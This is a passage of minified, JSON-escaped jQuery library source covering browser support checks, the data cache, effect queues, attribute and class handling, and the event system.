style='width:5px;'\u003e\u003c/div\u003e\",b.shrinkWrapBlocks=p.offsetWidth!==3),p.style.cssText=r+s,p.innerHTML=q,e=p.firstChild,g=e.firstChild,i=e.nextSibling.firstChild.firstChild,j={doesNotAddBorder:g.offsetTop!==5,doesAddBorderForTableAndCells:i.offsetTop===5},g.style.position=\"fixed\",g.style.top=\"20px\",j.fixedPosition=g.offsetTop===20||g.offsetTop===15,g.style.position=g.style.top=\"\",e.style.overflow=\"hidden\",e.style.position=\"relative\",j.subtractsBorderForOverflowNotVisible=g.offsetTop===-5,j.doesNotIncludeMarginInBodyOffset=u.offsetTop!==m,a.getComputedStyle\u0026\u0026(p.style.marginTop=\"1%\",b.pixelMargin=(a.getComputedStyle(p,null)||{marginTop:0}).marginTop!==\"1%\"),typeof d.style.zoom!=\"undefined\"\u0026\u0026(d.style.zoom=1),u.removeChild(d),l=p=d=null,f.extend(b,j))});return b}();var j=/^(?:\\{.*\\}|\\[.*\\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:\"jQuery\"+(f.fn.jquery+Math.random()).replace(/\\D/g,\"\"),noData:{embed:!0,object:\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a\u0026\u0026!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c==\"string\",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]\u0026\u0026j,o=c===\"events\";if((!n||!m[n]||!o\u0026\u0026!e\u0026\u0026!m[n].data)\u0026\u0026k\u0026\u0026d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c==\"object\"||typeof c==\"function\")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b\u0026\u0026(h[f.camelCase(c)]=d);if(o\u0026\u0026!h[c])return g.events;k?(i=h[c],i==null\u0026\u0026(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(\" \")));for(e=0,g=b.length;e\u003cg;e++)delete d[b[e]];if(!(c?m:f.isEmptyObject)(d))return}}if(!c){delete j[k].data;if(!m(j[k]))return}f.support.deleteExpando||!j.setInterval?delete j[k]:j[k]=null,i\u0026\u0026(f.support.deleteExpando?delete a[h]:a.removeAttribute?a.removeAttribute(h):a[h]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0\u0026\u0026a.getAttribute(\"classid\")===b}return!0}}),f.fn.extend({data:function(a,c){var d,e,g,h,i,j=this[0],k=0,m=null;if(a===b){if(this.length){m=f.data(j);if(j.nodeType===1\u0026\u0026!f._data(j,\"parsedAttrs\")){g=j.attributes;for(i=g.length;k\u003ci;k++)h=g[k].name,h.indexOf(\"data-\")===0\u0026\u0026(h=f.camelCase(h.substring(5)),l(j,h,m[h]));f._data(j,\"parsedAttrs\",!0)}}return m}if(typeof a==\"object\")return this.each(function(){f.data(this,a)});d=a.split(\".\",2),d[1]=d[1]?\".\"+d[1]:\"\",e=d[1]+\"!\";return f.access(this,function(c){if(c===b){m=this.triggerHandler(\"getData\"+e,[d[0]]),m===b\u0026\u0026j\u0026\u0026(m=f.data(j,a),m=l(j,a,m));return m===b\u0026\u0026d[1]?this.data(d[0]):m}d[1]=c,this.each(function(){var b=f(this);b.triggerHandler(\"setData\"+e,d),f.data(this,a,c),b.triggerHandler(\"changeData\"+e,d)})},null,c,arguments.length\u003e1,null,!1)},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a\u0026\u0026(b=(b||\"fx\")+\"mark\",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0\u0026\u0026(c=b,b=a,a=!1);if(b){c=c||\"fx\";var d=c+\"mark\",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,\"mark\"))}},queue:function(a,b,c){var d;if(a){b=(b||\"fx\")+\"queue\",d=f._data(a,b),c\u0026\u0026(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||\"fx\";var c=f.queue(a,b),d=c.shift(),e={};d===\"inprogress\"\u0026\u0026(d=c.shift()),d\u0026\u0026(b===\"fx\"\u0026\u0026c.unshift(\"inprogress\"),f._data(a,b+\".run\",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+\"queue \"+b+\".run\",!0),n(a,b,\"queue\"))}}),f.fn.extend({queue:function(a,c){var d=2;typeof a!=\"string\"\u0026\u0026(c=a,a=\"fx\",d--);if(arguments.length\u003cd)return f.queue(this[0],a);return c===b?this:this.each(function(){var b=f.queue(this,a,c);a===\"fx\"\u0026\u0026b[0]!==\"inprogress\"\u0026\u0026f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||\"fx\";return this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},clearQueue:function(a){return this.queue(a||\"fx\",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!=\"string\"\u0026\u0026(c=a,a=b),a=a||\"fx\";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+\"defer\",j=a+\"queue\",k=a+\"mark\",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))\u0026\u0026f.data(e[g],i,f.Callbacks(\"once memory\"),!0))h++,l.add(m);m();return d.promise(c)}});var o=/[\\n\\t\\r]/g,p=/\\s+/,q=/\\r/g,r=/^(?:button|input)$/i,s=/^(?:button|input|object|select|textarea)$/i,t=/^a(?:rea)?$/i,u=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,v=f.support.getSetAttribute,w,x,y;f.fn.extend({attr:function(a,b){return f.access(this,f.attr,a,b,arguments.length\u003e1)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,f.prop,a,b,arguments.length\u003e1)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"){b=a.split(p);for(c=0,d=this.length;c\u003cd;c++){e=this[c];if(e.nodeType===1)if(!e.className\u0026\u0026b.length===1)e.className=a;else{g=\" \"+e.className+\" \";for(h=0,i=b.length;h\u003ci;h++)~g.indexOf(\" \"+b[h]+\" \")||(g+=b[h]+\" \");e.className=f.trim(g)}}}return this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"||a===b){c=(a||\"\").split(p);for(d=0,e=this.length;d\u003ce;d++){g=this[d];if(g.nodeType===1\u0026\u0026g.className)if(a){h=(\" \"+g.className+\" \").replace(o,\" \");for(i=0,j=c.length;i\u003cj;i++)h=h.replace(\" \"+c[i]+\" \",\" \");g.className=f.trim(h)}else g.className=\"\"}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b==\"boolean\";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return this.each(function(){if(c===\"string\"){var e,g=0,h=f(this),i=b,j=a.split(p);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?\"addClass\":\"removeClass\"](e)}else if(c===\"undefined\"||c===\"boolean\")this.className\u0026\u0026f._data(this,\"__className__\",this.className),this.className=this.className||a===!1?\"\":f._data(this,\"__className__\")||\"\"})},hasClass:function(a){var b=\" \"+a+\" \",c=0,d=this.length;for(;c\u003cd;c++)if(this[c].nodeType===1\u0026\u0026(\" \"+this[c].className+\" \").replace(o,\" \").indexOf(b)\u003e-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h=\"\":typeof h==\"number\"?h+=\"\":f.isArray(h)\u0026\u0026(h=f.map(h,function(a){return a==null?\"\":a+\"\"})),c=f.valHooks[this.type]||f.valHooks[this.nodeName.toLowerCase()];if(!c||!(\"set\"in c)||c.set(this,h,\"value\")===b)this.value=h}})}if(g){c=f.valHooks[g.type]||f.valHooks[g.nodeName.toLowerCase()];if(c\u0026\u0026\"get\"in c\u0026\u0026(d=c.get(g,\"value\"))!==b)return d;d=g.value;return typeof d==\"string\"?d.replace(q,\"\"):d==null?\"\":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type===\"select-one\";if(g\u003c0)return null;c=j?g:0,d=j?g+1:i.length;for(;c\u003cd;c++){e=i[c];if(e.selected\u0026\u0026(f.support.optDisabled?!e.disabled:e.getAttribute(\"disabled\")===null)\u0026\u0026(!e.parentNode.disabled||!f.nodeName(e.parentNode,\"optgroup\"))){b=f(e).val();if(j)return b;h.push(b)}}if(j\u0026\u0026!h.length\u0026\u0026i.length)return f(i[g]).val();return h},set:function(a,b){var c=f.makeArray(b);f(a).find(\"option\").each(function(){this.selected=f.inArray(f(this).val(),c)\u003e=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a\u0026\u0026j!==3\u0026\u0026j!==8\u0026\u0026j!==2){if(e\u0026\u0026c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute==\"undefined\")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i\u0026\u0026(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h\u0026\u0026\"set\"in h\u0026\u0026i\u0026\u0026(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,\"\"+d);return d}if(h\u0026\u0026\"get\"in h\u0026\u0026i\u0026\u0026(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h,i=0;if(b\u0026\u0026a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;i\u003cg;i++)e=d[i],e\u0026\u0026(c=f.propFix[e]||e,h=u.test(e),h||f.attr(a,e,\"\"),a.removeAttribute(v?e:c),h\u0026\u0026c in a\u0026\u0026(a[c]=!1))}},attrHooks:{type:{set:function(a,b){if(r.test(a.nodeName)\u0026\u0026a.parentNode)f.error(\"type property can't be changed\");else if(!f.support.radioValue\u0026\u0026b===\"radio\"\u0026\u0026f.nodeName(a,\"input\")){var c=a.value;a.setAttribute(\"type\",b),c\u0026\u0026(a.value=c);return b}}},value:{get:function(a,b){if(w\u0026\u0026f.nodeName(a,\"button\"))return w.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(w\u0026\u0026f.nodeName(a,\"button\"))return w.set(a,b,c);a.value=b}}},propFix:{tabindex:\"tabIndex\",readonly:\"readOnly\",\"for\":\"htmlFor\",\"class\":\"className\",maxlength:\"maxLength\",cellspacing:\"cellSpacing\",cellpadding:\"cellPadding\",rowspan:\"rowSpan\",colspan:\"colSpan\",usemap:\"useMap\",frameborder:\"frameBorder\",contenteditable:\"contentEditable\"},prop:function(a,c,d){var e,g,h,i=a.nodeType;if(!!a\u0026\u0026i!==3\u0026\u0026i!==8\u0026\u0026i!==2){h=i!==1||!f.isXMLDoc(a),h\u0026\u0026(c=f.propFix[c]||c,g=f.propHooks[c]);return d!==b?g\u0026\u0026\"set\"in g\u0026\u0026(e=g.set(a,d,c))!==b?e:a[c]=d:g\u0026\u0026\"get\"in g\u0026\u0026(e=g.get(a,c))!==null?e:a[c]}},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode(\"tabindex\");return c\u0026\u0026c.specified?parseInt(c.value,10):s.test(a.nodeName)||t.test(a.nodeName)\u0026\u0026a.href?0:b}}}}),f.attrHooks.tabindex=f.propHooks.tabIndex,x={get:function(a,c){var d,e=f.prop(a,c);return e===!0||typeof e!=\"boolean\"\u0026\u0026(d=a.getAttributeNode(c))\u0026\u0026d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a\u0026\u0026(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},v||(y={name:!0,id:!0,coords:!0},w=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d\u0026\u0026(y[c]?d.nodeValue!==\"\":d.specified)?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+\"\"}},f.attrHooks.tabindex.set=w.set,f.each([\"width\",\"height\"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===\"\"){a.setAttribute(b,\"auto\");return c}}})}),f.attrHooks.contenteditable={get:w.get,set:function(a,b,c){b===\"\"\u0026\u0026(b=\"false\"),w.set(a,b,c)}}),f.support.hrefNormalized||f.each([\"href\",\"src\",\"width\",\"height\"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=\"\"+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b\u0026\u0026(b.selectedIndex,b.parentNode\u0026\u0026b.parentNode.selectedIndex);return null}})),f.support.enctype||(f.propFix.enctype=\"encoding\"),f.support.checkOn||f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]={get:function(a){return a.getAttribute(\"value\")===null?\"on\":a.value}}}),f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)\u003e=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\\.]*)?(?:\\.(.+))?$/,B=/(?:^|\\s)hover(\\.\\S+)?\\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\\w*)(?:#([\\w\\-]+))?(?:\\.([\\w\\-]+))?$/,G=function(\na){var b=F.exec(a);b\u0026\u0026(b[1]=(b[1]||\"\").toLowerCase(),b[3]=b[3]\u0026\u0026new RegExp(\"(?:^|\\\\s)\"+b[3]+\"(?:\\\\s|$)\"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])\u0026\u0026(!b[2]||(c.id||{}).value===b[2])\u0026\u0026(!b[3]||b[3].test((c[\"class\"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,\"mouseenter$1 mouseleave$1\")};f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler\u0026\u0026(p=d,d=p.handler,g=p.selector),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!=\"undefined\"\u0026\u0026(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(\" \");for(k=0;k\u003cc.length;k++){l=A.exec(c[k])||[],m=l[1],n=(l[2]||\"\").split(\".\").sort(),s=f.event.special[m]||{},m=(g?s.delegateType:s.bindType)||m,s=f.event.special[m]||{},o=f.extend({type:m,origType:l[1],data:e,handler:d,guid:d.guid,selector:g,quick:g\u0026\u0026G(g),namespace:n.join(\".\")},p),r=j[m];if(!r){r=j[m]=[],r.delegateCount=0;if(!s.setup||s.setup.call(a,e,n,i)===!1)a.addEventListener?a.addEventListener(m,i,!1):a.attachEvent\u0026\u0026a.attachEvent(\"on\"+m,i)}s.add\u0026\u0026(s.add.call(a,o),o.handler.guid||(o.handler.guid=d.guid)),g?r.splice(r.delegateCount++,0,o):r.push(o),f.event.global[m]=!0}a=null}},global:{},remove:function(a,b,c,d,e){var g=f.hasData(a)\u0026\u0026f._data(a),h,i,j,k,l,m,n,o,p,q,r,s;if(!!g\u0026\u0026!!(o=g.events)){b=f.trim(I(b||\"\")).split(\" \");for(h=0;h\u003cb.length;h++){i=A.exec(b[h])||[],j=k=i[1],l=i[2];if(!j){for(j in o)f.event.remove(a,j+b[h],c,d,!0);continue}p=f.event.special[j]||{},j=(d?p.delegateType:p.bindType)||j,r=o[j]||[],m=r.length,l=l?new RegExp(\"(^|\\\\.)\"+l.split(\".\").sort().join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\"):null;for(n=0;n\u003cr.length;n++)s=r[n],(e||k===s.origType)\u0026\u0026(!c||c.guid===s.guid)\u0026\u0026(!l||l.test(s.namespace))\u0026\u0026(!d||d===s.selector||d===\"**\"\u0026\u0026s.selector)\u0026\u0026(r.splice(n--,1),s.selector\u0026\u0026r.delegateCount--,p.remove\u0026\u0026p.remove.call(a,s));r.length===0\u0026\u0026m!==r.length\u0026\u0026((!p.teardown||p.teardown.call(a,l)===!1)\u0026\u0026f.removeEvent(a,j,g.handle),delete o[j])}f.isEmptyObject(o)\u0026\u0026(q=g.handle,q\u0026\u0026(q.elem=null),f.removeData(a,[\"events\",\"handle\"],!0))}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){if(!e||e.nodeType!==3\u0026\u0026e.nodeType!==8){var h=c.type||c,i=[],j,k,l,m,n,o,p,q,r,s;if(E.test(h+f.event.triggered))return;h.indexOf(\"!\")\u003e=0\u0026\u0026(h=h.slice(0,-1),k=!0),h.indexOf(\".\")\u003e=0\u0026\u0026(i=h.split(\".\"),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])\u0026\u0026!f.event.global[h])return;c=typeof c==\"object\"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join(\".\"),c.namespace_re=c.namespace?new RegExp(\"(^|\\\\.)\"+i.join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\"):null,o=h.indexOf(\":\")\u003c0?\"on\"+h:\"\";if(!e){j=f.cache;for(l in j)j[l].events\u0026\u0026j[l].events[h]\u0026\u0026f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger\u0026\u0026p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g\u0026\u0026!p.noBubble\u0026\u0026!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n\u0026\u0026n===e.ownerDocument\u0026\u0026r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;l\u003cr.length\u0026\u0026!c.isPropagationStopped();l++)m=r[l][0],c.type=r[l][1],q=(f._data(m,\"events\")||{})[c.type]\u0026\u0026f._data(m,\"handle\"),q\u0026\u0026q.apply(m,d),q=o\u0026\u0026m[o],q\u0026\u0026f.acceptData(m)\u0026\u0026q.apply(m,d)===!1\u0026\u0026c.preventDefault();c.type=h,!g\u0026\u0026!c.isDefaultPrevented()\u0026\u0026(!p._default||p._default.apply(e.ownerDocument,d)===!1)\u0026\u0026(h!==\"click\"||!f.nodeName(e,\"a\"))\u0026\u0026f.acceptData(e)\u0026\u0026o\u0026\u0026e[h]\u0026\u0026(h!==\"focus\"\u0026\u0026h!==\"blur\"||c.target.offsetWidth!==0)\u0026\u0026!f.isWindow(e)\u0026\u0026(n=e[o],n\u0026\u0026(e[o]=null),f.event.triggered=h,e[h](),f.event.triggered=b,n\u0026\u0026(e[o]=n));return c.result}},dispatch:function(c){c=f.event.fix(c||a.event);var d=(f._data(this,\"events\")||{})[c.type]||[],e=d.delegateCount,g=[].slice.call(arguments,0),h=!c.exclusive\u0026\u0026!c.namespace,i=f.event.special[c.type]||{},j=[],k,l,m,n,o,p,q,r,s,t,u;g[0]=c,c.delegateTarget=this;if(!i.preDispatch||i.preDispatch.call(this,c)!==!1){if(e\u0026\u0026(!c.button||c.type!==\"click\")){n=f(this),n.context=this.ownerDocument||this;for(m=c.target;m!=this;m=m.parentNode||this)if(m.disabled!==!0){p={},r=[],n[0]=m;for(k=0;k\u003ce;k++)s=d[k],t=s.selector,p[t]===b\u0026\u0026(p[t]=s.quick?H(m,s.quick):n.is(t)),p[t]\u0026\u0026r.push(s);r.length\u0026\u0026j.push({elem:m,matches:r})}}d.length\u003ee\u0026\u0026j.push({elem:this,matches:d.slice(e)});for(k=0;k\u003cj.length\u0026\u0026!c.isPropagationStopped();k++){q=j[k],c.currentTarget=q.elem;for(l=0;l\u003cq.matches.length\u0026\u0026!c.isImmediatePropagationStopped();l++){s=q.matches[l];if(h||!c.namespace\u0026\u0026!s.namespace||c.namespace_re\u0026\u0026c.namespace_re.test(s.namespace))c.data=s.data,c.handleObj=s,o=((f.event.special[s.origType]||{}).handle||s.handler).apply(q.elem,g),o!==b\u0026\u0026(c.result=o,o===!1\u0026\u0026(c.preventDefault(),c.stopPropagation()))}}i.postDispatch\u0026\u0026i.postDispatch.call(this,c);return c.result}},props:\"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which\".split(\" \"),fixHooks:{},keyHooks:{props:\"char charCode key keyCode\".split(\" \"),filter:function(a,b){a.which==null\u0026\u0026(a.which=b.charCode!=null?b.charCode:b.keyCode);return a}},mouseHooks:{props:\"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement\".split(\" \"),filter:function(a,d){var e,f,g,h=d.button,i=d.fromElement;a.pageX==null\u0026\u0026d.clientX!=null\u0026\u0026(e=a.target.ownerDocument||c,f=e.documentElement,g=e.body,a.pageX=d.clientX+(f\u0026\u0026f.scrollLeft||g\u0026\u0026g.scrollLeft||0)-(f\u0026\u0026f.clientLeft||g\u0026\u0026g.clientLeft||0),a.pageY=d.clientY+(f\u0026\u0026f.scrollTop||g\u0026\u0026g.scrollTop||0)-(f\u0026\u0026f.clientTop||g\u0026\u0026g.clientTop||0)),!a.relatedTarget\u0026\u0026i\u0026\u0026(a.relatedTarget=i===a.target?d.toElement:i),!a.which\u0026\u0026h!==b\u0026\u0026(a.which=h\u00261?1:h\u00262?3:h\u00264?2:0);return a}},fix:function(a){if(a[f.expando])return a;var d,e,g=a,h=f.event.fixHooks[a.type]||{},i=h.props?this.props.concat(h.props):this.props;a=f.Event(g);for(d=i.length;d;)e=i[--d],a[e]=g[e];a.target||(a.target=g.srcElement||c),a.target.nodeType===3\u0026\u0026(a.target=a.target.parentNode),a.metaKey===b\u0026\u0026(a.metaKey=a.ctrlKey);return h.filter?h.filter(a,g):a},special:{ready:{setup:f.bindReady},load:{noBubble:!0},focus:{delegateType:\"focusin\"},blur:{delegateType:\"focusout\"},beforeunload:{setup:function(a,b,c){f.isWindow(this)\u0026\u0026(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b\u0026\u0026(this.onbeforeunload=null)}}},simulate:function(a,b,c,d){var e=f.extend(new f.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?f.event.trigger(e,null,b):f.event.dispatch.call(b,e),e.isDefaultPrevented()\u0026\u0026c.preventDefault()}},f.event.handle=f.event.dispatch,f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener\u0026\u0026a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent\u0026\u0026a.detachEvent(\"on\"+b,c)},f.Event=function(a,b){if(!(this instanceof f.Event))return new f.Event(a,b);a\u0026\u0026a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault\u0026\u0026a.getPreventDefault()?K:J):this.type=a,b\u0026\u0026f.extend(this,b),this.timeStamp=a\u0026\u0026a.timeStamp||f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=K;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=K;var a=this.originalEvent;!a||(a.stopPropagation\u0026\u0026a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=K,this.stopPropagation()},isDefaultPrevented:J,isPropagationStopped:J,isImmediatePropagationStopped:J},f.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\"},function(a,b){f.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c=this,d=a.relatedTarget,e=a.handleObj,g=e.selector,h;if(!d||d!==c\u0026\u0026!f.contains(c,d))a.type=e.origType,h=e.handler.apply(this,arguments),a.type=b;return h}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(){if(f.nodeName(this,\"form\"))return!1;f.event.add(this,\"click._submit keypress._submit\",function(a){var c=a.target,d=f.nodeName(c,\"input\")||f.nodeName(c,\"button\")?c.form:b;d\u0026\u0026!d._submit_attached\u0026\u0026(f.event.add(d,\"submit._submit\",function(a){a._submit_bubble=!0}),d._submit_attached=!0)})},postDispatch:function(a){a._submit_bubble\u0026\u0026(delete a._submit_bubble,this.parentNode\u0026\u0026!a.isTrigger\u0026\u0026f.event.simulate(\"submit\",this.parentNode,a,!0))},teardown:function(){if(f.nodeName(this,\"form\"))return!1;f.event.remove(this,\"._submit\")}}),f.support.changeBubbles||(f.event.special.change={setup:function(){if(z.test(this.nodeName)){if(this.type===\"checkbox\"||this.type===\"radio\")f.event.add(this,\"propertychange._change\",function(a){a.originalEvent.propertyName===\"checked\"\u0026\u0026(this._just_changed=!0)}),f.event.add(this,\"click._change\",function(a){this._just_changed\u0026\u0026!a.isTrigger\u0026\u0026(this._just_changed=!1,f.event.simulate(\"change\",this,a,!0))});return!1}f.event.add(this,\"beforeactivate._change\",function(a){var b=a.target;z.test(b.nodeName)\u0026\u0026!b._change_attached\u0026\u0026(f.event.add(b,\"change._change\",function(a){this.parentNode\u0026\u0026!a.isSimulated\u0026\u0026!a.isTrigger\u0026\u0026f.event.simulate(\"change\",this.parentNode,a,!0)}),b._change_attached=!0)})},handle:function(a){var b=a.target;if(this!==b||a.isSimulated||a.isTrigger||b.type!==\"radio\"\u0026\u0026b.type!==\"checkbox\")return a.handleObj.handler.apply(this,arguments)},teardown:function(){f.event.remove(this,\"._change\");return z.test(this.nodeName)}}),f.support.focusinBubbles||f.each({focus:\"focusin\",blur:\"focusout\"},function(a,b){var d=0,e=function(a){f.event.simulate(b,a.target,f.event.fix(a),!0)};f.event.special[b]={setup:function(){d++===0\u0026\u0026c.addEventListener(a,e,!0)},teardown:function(){--d===0\u0026\u0026c.removeEventListener(a,e,!0)}}}),f.fn.extend({on:function(a,c,d,e,g){var h,i;if(typeof a==\"object\"){typeof c!=\"string\"\u0026\u0026(d=d||c,c=b);for(i in a)this.on(i,c,d,a[i],g);return this}d==null\u0026\u0026e==null?(e=c,d=c=b):e==null\u0026\u0026(typeof c==\"string\"?(e=d,d=b):(e=d,d=c,c=b));if(e===!1)e=J;else if(!e)return this;g===1\u0026\u0026(h=e,e=function(a){f().off(a);return h.apply(this,arguments)},e.guid=h.guid||(h.guid=f.guid++));return this.each(function(){f.event.add(this,a,e,d,c)})},one:function(a,b,c,d){return this.on(a,b,c,d,1)},off:function(a,c,d){if(a\u0026\u0026a.preventDefault\u0026\u0026a.handleObj){var e=a.handleObj;f(a.delegateTarget).off(e.namespace?e.origType+\".\"+e.namespace:e.origType,e.selector,e.handler);return this}if(typeof a==\"object\"){for(var g in a)this.off(g,c,a[g]);return this}if(c===!1||typeof c==\"function\")d=c,c=b;d===!1\u0026\u0026(d=J);return this.each(function(){f.event.remove(this,a,d,c)})},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},live:function(a,b,c){f(this.context).on(a,this.selector,b,c);return this},die:function(a,b){f(this.context).off(a,this.selector||\"**\",b);return this},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return arguments.length==1?this.off(a,\"**\"):this.off(b,a,c)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f._data(this,\"lastToggle\"+a.guid)||0)%d;f._data(this,\"lastToggle\"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d\u003cb.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),f.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown 